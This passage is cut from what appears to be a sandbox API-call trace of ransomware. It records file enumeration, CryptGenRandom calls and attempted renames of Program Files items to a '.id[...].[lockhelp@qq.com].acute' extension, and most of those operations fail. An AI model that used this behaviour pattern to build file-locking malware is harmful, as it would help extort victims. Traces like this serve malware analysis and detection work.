(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.318] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0274.318] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=79360) returned 1 [0274.318] CloseHandle (hObject=0x308) returned 1 [0274.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0274.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.320] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0274.320] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=303104) returned 1 [0274.320] CloseHandle (hObject=0x308) returned 1 [0274.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll")) returned 0x20 [0274.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.475] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.491] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2048) returned 1 [0274.491] CloseHandle (hObject=0x37c) returned 1 [0274.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0274.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.497] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.497] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=7384) returned 1 [0274.498] CloseHandle (hObject=0x30c) returned 1 [0274.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0274.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.548] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.651] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9322) returned 1 [0274.651] CloseHandle (hObject=0x30c) returned 1 [0274.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0274.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.693] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.746] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=6165) returned 1 [0274.746] CloseHandle (hObject=0x30c) returned 1 [0274.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0274.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.746] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.758] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4846) returned 1 [0274.758] CloseHandle (hObject=0x30c) returned 1 [0274.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0274.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.759] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.802] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9318) returned 1 [0274.802] CloseHandle (hObject=0x30c) returned 1 [0274.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0274.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.806] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.817] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=6331) returned 1 [0274.817] CloseHandle (hObject=0x30c) returned 1 [0274.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0274.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.822] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.859] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=7178) returned 1 [0274.860] CloseHandle (hObject=0x30c) returned 1 [0274.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0274.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.862] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.871] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=9797) returned 1 [0274.871] CloseHandle (hObject=0x30c) returned 1 [0274.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0274.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.875] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.992] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=6880) returned 1 [0274.992] CloseHandle (hObject=0x37c) returned 1 [0274.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0274.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0275.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0 [0275.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0275.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0 [0275.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0275.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0 [0276.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0 [0276.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0 [0276.362] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.362] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0 [0276.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0 [0276.367] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.367] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0 [0276.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft 